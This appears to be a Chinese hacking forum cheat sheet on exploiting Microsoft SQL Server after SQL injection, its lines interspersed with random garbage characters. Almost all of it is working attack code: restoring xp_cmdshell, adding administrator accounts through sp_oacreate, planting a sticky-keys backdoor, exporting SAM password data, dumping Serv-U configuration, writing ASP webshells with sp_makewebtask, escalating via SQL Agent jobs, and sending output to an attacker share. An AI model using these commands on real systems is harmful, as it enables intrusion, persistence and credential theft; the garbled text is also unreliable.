1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号* C. \* D7 p# s2 f
恢复方法:查询分离器连接后,( \" M0 ]9 l6 |. G* O
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
, A; h7 s7 a+ R! p. q3 f$ W' e第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ; o$ |- u+ q8 v" C' `6 r
然后按F5键命令执行完毕* f9 v8 b' s7 n9 Y/ R" B x) T" O
0 K3 ~& T' \" E2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
D; E1 p& }$ s+ j+ Z恢复方法:查询分离器连接后,3 a- \/ |+ b! a$ O; Y( c
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
: t/ e* S+ P/ u! X) ]+ ^# p第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'5 K& f' c; _. ^
然后按F5键命令执行完毕0 o4 W( i; G# o1 [) K u3 A
7 I* r5 Y. b; L, g) p6 d( K
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)/ Q6 b2 M" \5 r0 B3 {
恢复方法:查询分离器连接后,4 r/ A+ B- u. c, f3 S* l* H( b
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
: d% g' }) V' i- P# E% p第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' : O2 _' u5 J1 W3 z5 ?6 c
然后按F5键命令执行完毕' Y0 A: F5 Z" G6 \$ O: W
, l9 b* B/ d& i! G+ V c4 终极方法.
7 `) S$ ^3 B' s+ L6 u- T0 |如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
$ S0 z& _3 k; D4 j& T+ Z查询分离器连接后,
) l |7 m, V/ y% j4 }( p1 ~2000servser系统:+ X) M' D9 ~4 S
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'- e/ W$ U1 ~. A, O7 g* @
, j1 d/ D# K0 c: }* u4 x
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'3 @7 | x3 s: y# p) _$ t: X" S! `" h
5 c6 O7 k7 z8 s2 C1 E
xp或2003server系统:
' n. v2 c5 _: [7 Z8 g6 B
: K3 f- A1 t* Y7 M, Y; ~7 _4 \! odeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
! @0 P k3 b# `
) s9 C7 E% R7 _declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
- ^+ L( L# u. Z4 x; ?5 o* [
. z, X; l" e7 B' s! o9 S! m: k7 P) E0 L
五个SHIFT
b. b; W# W" R* e7 [2 E- Mdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
+ _1 i2 p# o) {; F
' o- D! a/ |0 a0 l! O3 r8 D. Cdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; O% o! o0 ~% e" V, P
5 D* e8 P* v4 z; J+ z8 k. |( z* r: n) Vxp_cmdshell执行命令另一种方法
8 i+ s6 y! C" S) W0 V- I7 z6 rdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 6 h% ?6 q y2 P
3 M2 d" X' Q0 g7 y7 W7 J判断存储扩展是否存在/ Q5 b5 ^1 b% D
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
& I; r8 A6 B6 y% W* Q: W返回结果为1就OK1 ~% x" h- }2 r2 }; H& \ t
8 l% M- k' C; m9 s2 V N# Z+ D; `' n
) U3 s! ]5 z% ]) L' F上传xplog70.dll恢复xp_cmdshell语句:+ w% O1 ?$ ^) q o
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'+ U5 T* n* z* i+ l- R- [7 p8 w
E2 i$ I" U& [否则上传xplog7.0.dll
) w$ L; ]$ R2 g5 r! SExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
8 p' s3 T! s/ f( D3 _
8 h$ I7 Z9 W" Y7 Q4 S0 B$ o: T! a/ U+ y- N( G1 T. s8 l7 g( t5 [' G
& Y, Q( [# [: q! D; ]9 m
首先开启沙盘模式:4 _6 r2 r" Z9 H
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 n2 ?9 Z7 W: [) u/ G1 R# x% Y$ L- p: ]% o( t0 d3 Q
然后利用jet.oledb执行系统命令
4 i1 y8 b& X1 p* r& Wselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
8 e9 P: g! I* C* W返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了- y5 N7 q6 w8 G6 a% O m- H
+ V# F/ X+ i3 x
/ z X% A, r: r. a: K! _2 P3 H
- J2 c- n5 Y4 H% A$ E, L恢复过程sp_addextendedproc 如下: ( b3 V( C7 p6 j6 k; C
create procedure sp_addextendedproc --- 1996/08/30 20:13
( }" ^1 k; N1 y6 N@functname nvarchar(517),/* (owner.)name of function to call */
$ t( K% W5 I! o: t H@dllname varchar(255)/* name of DLL containing function */ 1 h9 x& H1 S- l; T1 a: I) |7 O
as $ x4 L+ I5 s3 G, z
set implicit_transactions off
( \- ] K; y! {9 ?1 j+ Fif @@trancount > 0
8 }1 V; d( B( h0 _( O" Pbegin + a& k8 A) r' Y, b
raiserror(15002,-1,-1,'sp_addextendedproc')
( Z% n8 T! b5 P! J3 r0 D. C0 creturn (1)
% b) t0 @! a, g) U! a. Xend , _$ H f4 {* b7 ?# E4 H
dbcc addextendedproc( @functname, @dllname) ' C4 W# u9 F/ h; V2 z8 E% `
return (0) -- sp_addextendedproc ! m! _7 w7 j% D/ Q8 s" m4 _" H
GO
4 ?. ~' `8 P5 e
8 I# F# }( H/ `6 C3 ], R/ ~, E5 f2 V+ i8 E0 P% q \
N1 Q- H0 Q: W/ v4 a) [/ d5 {
导出管理员密码文件; K7 \1 K4 X) B+ H1 z$ C- D
sa默认可以读sam键.应该。 e: G1 z% e0 e0 L4 E! @
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
q8 [ b2 J4 e3 L P+ d$ bnet user administrator test
" h, u9 G3 Q2 Q$ K用administrator登陆.
+ P9 B& v- R' N用完机器后
; D9 B. [/ p) G/ G. E4 nreg import c:\test.reg# {1 M+ V$ b5 i) G
根本不用克隆. T7 r/ U& B7 A6 N1 e3 a _" \
找到对应的sid.
& T; a1 D; @' O1 x8 d* F* K; }2 Y, T, R
, b- ^* ~! M2 I# T' y5 V+ t, @! |1 P
O4 B( N4 E" |& j7 |3 C
恢复所有存储过程 B+ q* C! Y8 L) o! ]
use master ( A! o2 }4 y& Y) r
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
+ s7 Z! G. ^( W$ |9 b) w% Dexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' g2 w s8 E# ^
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' M3 B0 d* s0 r- k6 t$ x o: ?
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 6 ]" Q8 C7 w7 `$ X
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' - }* z. B* U6 K& ]6 ~
exec sp_addextendedproc sp_OACreate,'odsole70.dll' $ G8 ?3 Q) F) |. S9 C
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
' v2 l5 |5 S8 Z: Lexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' : O8 M4 o. x4 Q
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
4 X% O$ w3 Z5 X) W# H' S5 N, o& F, aexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
2 W) ^& q* _8 \3 Q m, Q, _exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' . k2 g8 C0 f V4 i
exec sp_addextendedproc sp_OAStop,'odsole70.dll' , i& |3 d" }8 h+ L" [0 \* u
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
6 ?9 R$ o# M2 `exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' : Z2 \5 w! o, L& s7 }% W2 Y
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' ) A4 D/ P" j% h& ~6 Q0 T" u
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
8 t2 S. u- L* z& Lexec sp_addextendedproc xp_regread,'xpstar.dll' $ p% u8 |+ p$ s) w% m# s- s
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' . z' C |0 i' J7 T4 F
exec sp_addextendedproc xp_regwrite,'xpstar.dll' & L" r: l- H$ T' A
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
3 E5 B; [# J. @- C
! r" W, W. ?$ w5 X5 e: H% v$ K3 _' e4 g) u$ }* Z! Y7 C2 y
建立读文件的存储过程
% O9 i4 i9 L- l. k' @Create proc sp_readTextFile @filename sysname4 A7 k& z" y. D
as
( {3 G/ V/ R$ [' {9 n) I' v% g2 O! {- g- D3 y/ M% E
begin
, g& |; N7 M- ]8 z set nocount on
5 P, X7 H) j7 {; B0 o Create table #tempfile (line varchar(8000))
2 e$ R% e; Q9 M1 R; v exec ('bulk insert #tempfile from "' + @filename + '"')( ~, [! C& Z, A0 w& o
select * from #tempfile
$ b }1 q5 V0 G5 c$ x1 t drop table #tempfile
7 p& ^6 R: j# X( i- m- dEnd$ \4 R( K" I$ j
. X. M3 X" B/ l: X! z1 f/ {exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
/ M' N+ ^2 ^6 `) U查看登录用户* L0 A* _7 Q! g9 j
Select * from sysxlogins
. B! C1 ^5 ^! m$ y9 l% q* c3 w* q8 V5 i$ E/ K* d
把文件内容读取到表中8 c) @5 F! _- M+ q$ I9 t) \: A! T
BULK INSERT tmp from "c:\test.txt"
! ?2 _ S* g! R; JdElete from 表名 清理表里的内容
* q( g" m/ g* P+ ^* g$ dcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
8 u v8 \5 h% E6 s2 ?- Y/ X! g5 I4 Z/ S+ \; i
7 ?. B9 S( k* c- m9 f& a6 F
加sa用户
3 y8 W. p$ B& p \exec master.dbo.sp_addlogin user,pass;
8 X" ]+ N0 K3 r0 ^exec master.dbo.sp_addsrvrolemember user,sysadmin
( m% j, S' o# q/ L$ e e6 _* T/ ?/ d% [8 ?
! e, J4 z( O; e6 V7 j
+ ~6 q3 E) [/ c8 R& j: [3 x8 s读文件代码- J! f; t& d! c! j8 `+ g: e& b8 M
declare @o int, @f int, @t int, @ret int
6 o3 U( X' e4 z1 I3 `, @declare @line varchar(8000)$ t) J- {$ d9 ^+ E2 h5 Q& H6 N a
exec sp_oacreate 'scripting.filesystemobject', @o out
% J# ]/ s b* @& K: ~ S. G& yexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
! V+ I' ^" ~& g& h+ m* b: u1 vexec @ret = sp_oamethod @f, 'readline', @line out" c4 Q: k4 P# @3 h
while( @ret = 0 )/ r/ B# n1 i4 D9 e0 w
begin, D8 k% a& w, X) ~; e1 @% d3 \0 t
print @line& z" n4 A+ M3 a; x/ ?
exec @ret = sp_oamethod @f, 'readline', @line out6 f3 o/ j$ G+ m* R2 e. I
end
' M4 r" E2 w6 ^ A$ f; r& T4 I. S) i3 i4 s& K2 e6 N) L, W
% l' ]/ C/ t+ J. c写文件代码:7 v1 g, q1 L0 j% k0 ~, Y% x3 J- _
declare @o int, @f int, @t int, @ret int3 N3 M( {/ R% R, C( o% s/ W5 e
exec sp_oacreate 'scripting.filesystemobject', @o out$ U' r" I$ n6 g" h
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 14 z3 M1 |5 q# h& l D) m* N( q7 \; H
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》5 \; ~. o g6 C- f$ j
: Y; U% x" o8 ?7 Z6 b' h
. _3 ~' `& q& K3 K3 }: d# z7 E0 [1 h添加lake2 shell) V* s4 J/ [% I0 S8 \
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
+ I" H( V2 }8 W, U* [sp_dropextendedproc xp_lake2' l N( T6 L$ r
EXEC xp_lake2 'net user'
# ^. |; v) f5 }+ }5 J0 q s" W1 Z
3 e/ b6 G& q" [- R0 m F' e2 t. z
- L( t8 D+ s% x7 m得到硬盘文件信息
. q' V/ U! J! V* R6 j--参数说明:目录名,目录深度,是否显示文件 ' A; X# @) i! B6 d% T
execute master..xp_dirtree 'c:'
2 w K3 _2 K% }0 o. N- x3 m1 fexecute master..xp_dirtree 'c:',1 + G; w3 g8 N! t! T7 z; S6 h! ^1 n
execute master..xp_dirtree 'c:',1,1 " a. d, g: M3 l& V' I, Y$ J0 f( R
5 U0 v" d/ C% m' F& {+ p* R3 U9 P7 K( j2 c) i* p" }$ m2 R) }2 O
读serv-u配置信息1 [2 g# K2 |( V k& Q* T; G! B
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'9 M- S9 C0 z( ^/ b& K. f1 e- s- N
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'+ A$ |6 j- V% X2 s
4 { Y! G! L! Q7 S* K$ \通过xp_regwrite写SHIFT后门
+ e Y1 s2 m# o; v, C3 n# p8 bexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
6 ^) M5 C9 J. O3 N8 u
& P6 p9 \: m9 K$ a: b
' ^9 B0 T& m+ @- g* I& f8 N K" `0 m, q
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';9 N7 c) ~3 z1 ?" ^. h8 A
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了, G* S* f2 [( @: ^& B8 Y- ~
/ N2 s: [. U$ ~$ D" b4 _
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'% R8 l5 N( u" E6 U4 ]9 l% n
) N. D, i' b2 ?1 L: W# N$ T
) e6 `2 I. O& t/ U$ P% H6 ]$ ?1 K& A8 g: P' u* l. c# r
sql server 2005下开启xp_cmdshell的办法
8 d6 G/ Y% P6 F* S7 J& a& w3 A" _; L2 k% W: f
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
o4 a( n7 b+ i6 [' T( u! W! y' O2 Y6 a5 Z/ `1 q
SQL2005开启'OPENROWSET'支持的方法:
# m* b+ s7 K" Q. t( F6 C
) U0 J& H, V% s# A; [; u# Wexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE; V8 S/ Y# N' t& u! ]( Q6 M3 `
. j4 J! a9 p1 z. R8 N5 v# ]* S
SQL2005开启'sp_oacreate'支持的方法:
. g: `4 a! o4 r& ~- p$ ^# S- i% b X- C/ D3 r
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;3 y7 S5 o- X9 s3 I/ s J! B
2 s, M% N8 A" {, s
# j9 ]( `6 L5 v K
5 b5 M. O- ^" Z0 ^4 B ^% h+ K+ _" c p0 V7 n# J5 B
/ T- }+ ^: G/ s" b3 n X8 E) {
- i. N- f7 D4 B) `" y/ e
: C3 h& q* S+ |8 U: q
6 v, P* b7 h* ~0 b
4 j8 R4 f, n6 I9 I- \. ?. ^
# z Z- d( v4 e4 a) U6 v d: d) }% u" R1 b6 \9 Z& S6 Y
1 e) R: _; A3 t2 p1 W
; [7 u2 O! `) u/ b5 k
& E0 I2 D! y7 Y9 W
! \- y* n1 A5 i4 N' ]' _% {4 |2 V7 N
- |+ k" b3 C9 Y7 r- D' p$ U# b- q) X8 L: L
4 F- E0 u+ t/ M7 @& s: l7 ^
1 A- S% p, J, E8 w% z# w% E/ h
% Q% j, [; R) ~+ O) W7 h8 ]# d9 t$ ?$ F" E$ y
0 I. @! P$ c6 A/ ]; C8 a; E8 o4 B2 P
以下方面不知道能不能成功暂且留下研究哈:5 b) g, j9 f3 x: i# M
4)
% P$ H+ G9 E; P Y. Fuse msdb; --这儿不要是master哟, X' g, G: u7 |. l2 a1 K
exec sp_add_job @job_name= czy82 ;
- O" H5 b0 P! Y$ u' f: {1 T6 Texec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
% P/ p' j* |; R2 t1 dexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
8 Z/ Q7 ^6 h# ^6 Y( Lexec sp_start_job @job_name= czy82 ;
; _2 ]# ^6 O' L: l' }$ Q& \
/ v4 r1 w% ]% d# X: o3 E利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以1 V! w' y$ u6 w4 v. v; P6 ?& y
执行tsql语句了.
5 ]8 @6 F! i) i对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名, s6 V2 o* w, n% i' A
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)4 b/ o* a! S# y1 _+ K
net start SQLSERVERAGENT3 u1 V) ~/ Q J- O4 Z
4 B" ]2 w" Z7 R5 l
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
7 T3 k! m8 n, G, f( c" RUSE msdb
2 ^( V0 r+ O# j2 Q% ZEXEC sp_add_job @job_name = GetSystemOnSQL ,8 v3 a# V; u7 @7 t. Z% k/ i
@enabled = 1," I' O& Y" N. T' r
@description = This will give a low privileged user access to
9 d0 X5 x" n3 N0 E" |/ s% \: v$ Fxp_cmdshell ,
[, D9 n6 ?& d' o' Z@delete_level = 1+ a% h( D( I+ t
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
0 t' O3 o6 z8 }3 c@step_name = Exec my sql ,7 i! w# H6 h0 p
@subsystem = TSQL ,* X5 }/ J G, h# S; M
@command = exec master..xp_execresultset N select exec9 s- i" p* Z8 J) W
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 5 j; G7 X$ Q4 [) O
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,2 ~( N$ m* Z7 u8 e) p3 C
@server_name = 你的SQL的服务器名 . d2 O# [8 l4 k
EXEC sp_start_job @job_name = GetSystemOnSQL
. c+ a" Q' K: V2 [) p' y9 l
4 t- a3 a, c: B7 Y/ Q$ a' f不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
* l0 y: |6 B1 g* D+ e才让我们可以以public执行xp_cmdshell
3 T$ C' N; B+ y/ p( Z2 u- a* G: S0 X2 j# Q! v
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
. l' D( z) h- _( K+ [7 L. [在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
8 ^2 @" b. Z1 v0 S( V, G5 L( y- i, _4 X& c8 p
USE msdb1 h# J, e6 f R& T
EXEC sp_add_job @job_name = ArbitraryFilecreate ,: a& w6 z) Q' i- @; q
@enabled = 1,
3 _7 R4 ~) Q' d% g0 i8 Z@description = This will create a file called c:\sqlafc123.txt ,
* p: {. n3 S0 V0 y; y@delete_level = 1
" f3 H V, Z/ D H4 n9 |EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
7 L& j R$ V! F: }" V0 y( I@step_name = SQLAFC ,
9 ?& w$ d$ E% o4 o; A6 R8 X7 i' F$ d@subsystem = TSQL ,9 ] n: r L" {/ G! o# w9 J( k) m
@command = select hello, this file was created by the SQL Agent. ,
# f: T; a8 u! ^( i@output_file_name = c:\sqlafc123.txt 3 A2 h% q9 E4 |
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
$ A. o' m$ W5 L# Y) F2 m9 j@server_name = SERVER_NAME
7 E2 s& E' H9 H# w6 I2 aEXEC sp_start_job @job_name = ArbitraryFilecreate
1 d& R4 f1 _2 e4 V- p# m S
1 V0 O; |& ]# e) Z0 w如果subsystem选的是:tsql,在生成的文件的头部有如下内容! x Z6 U* m% Q. i. d$ F# x
" y9 h: W+ w( E ]% Z# |1 B& n) {
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
6 A7 X) A1 J, A: `8 Z2 O" I0 A: S0 h----------------------------------------------
& x) P) e; |. S) d( F3 Bhello, this file was created by the SQL Agent.
/ \7 f# d* E, C8 p: \
' J: G k# B# @& v% b; L: f1 v(1 ?????)5 q5 V) j: K, t' `. G) ~1 w' x: W
$ m! E O, S+ p' j) d5 x! {: f& |4 q所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员3 n$ a7 ]/ e% x4 m
命令的vbs文件到启动目录!5 T- A+ S0 q. L2 u4 J8 m
8 A* F5 A+ h6 ]* I" c- B' V6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
8 D& V+ E% _/ o$ ~$ u0 P2 _* l关于sp_MScopyscriptfile 看下面的例子
0 q' J5 m; ~9 D1 Q3 _& Q0 d0 ^9 ~1 rdeclare @command varchar(100)
" o+ \0 D, W) D% h K# kdeclare @scripfile varchar(200)
; K5 _; K2 y) j: wset concat_null_yields_null off
4 \9 ?* ~* X% _* l; c! W; V$ Vselect @command= dir c:\ > "\\attackerip\share\dir.txt" : Z* Y' v6 H+ @- p
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
; S2 w0 J4 E0 E; f7 w$ Kexec sp_MScopyscriptfile @scripfile ,
( j$ X+ N' k+ u1 @' s( K
/ d6 [, E( S5 [2 K, m3 [4 q( Y这两个东东都还在测试试哟
$ D& _% u% L- H$ Y5 n让MSSQL的public用户得到一个本机的web shell + m3 n% J5 G" h4 d( M
6 f1 s+ l4 K1 f/ V# V& J4 S, v
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312, U3 [! `' m" R3 M
--@query= select <img src=vbscript:msgbox(now())> " E, p# C; l; X
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
6 a+ Y/ d* n E* _@query= select
4 c, S8 n% f) Z8 m" G$ ~- F<%On Error Resume Next
; _# T8 l# b ESet oscript = Server.createObject("wscript.SHELL")
s7 W' _% s2 vSet oscriptNet = Server.createObject("wscript.NETWORK")
$ }0 H$ C# C; g, C+ W2 i4 P2 cSet oFileSys = Server.createObject("scripting.FileSystemObject") 8 I- ^* i# k1 q+ C* K
szCMD = Request.Form(".CMD") : v! f- p" o. J! C: g; Z
If (szCMD <>"")Then 8 y* F6 x8 `& \; h1 s& E8 d( N: `
szTempFile = "C:\" & oFileSys.GetTempName() 2 T4 G) x( z* J- L8 u9 q# i
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) o$ e% G: u2 ~, ` d% \" A3 x3 J5 W
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 9 k3 ^, S2 |: y+ [8 z
End If %>
7 x, |; y/ I. q4 I$ @1 w<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
9 P0 C/ x: e- a<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> $ c& Q$ p3 D8 J6 a; {9 q3 L, h
</FORM>< RE> 6 ~& z, x2 K, N/ C+ q9 h8 h
<% If (IsObject(oFile))Then * N! C$ {' i& `4 ~' U# M
On Error Resume Next
+ E4 W2 s' p, Q7 t, CResponse.Write Server.HTMLEncode(oFile.ReadAll) $ l; D& g' m6 D4 k) z" \$ P( W
oFile.Close & j5 O6 K7 F1 B% T6 |8 n: o
Call oFileSys.deleteFile(szTempFile, True) : j( R# w$ z+ y
End If%> 5 X E* F e( @4 S0 r" i
</BODY></HTML> + l$ a1 w0 Y9 p# Y4 G
|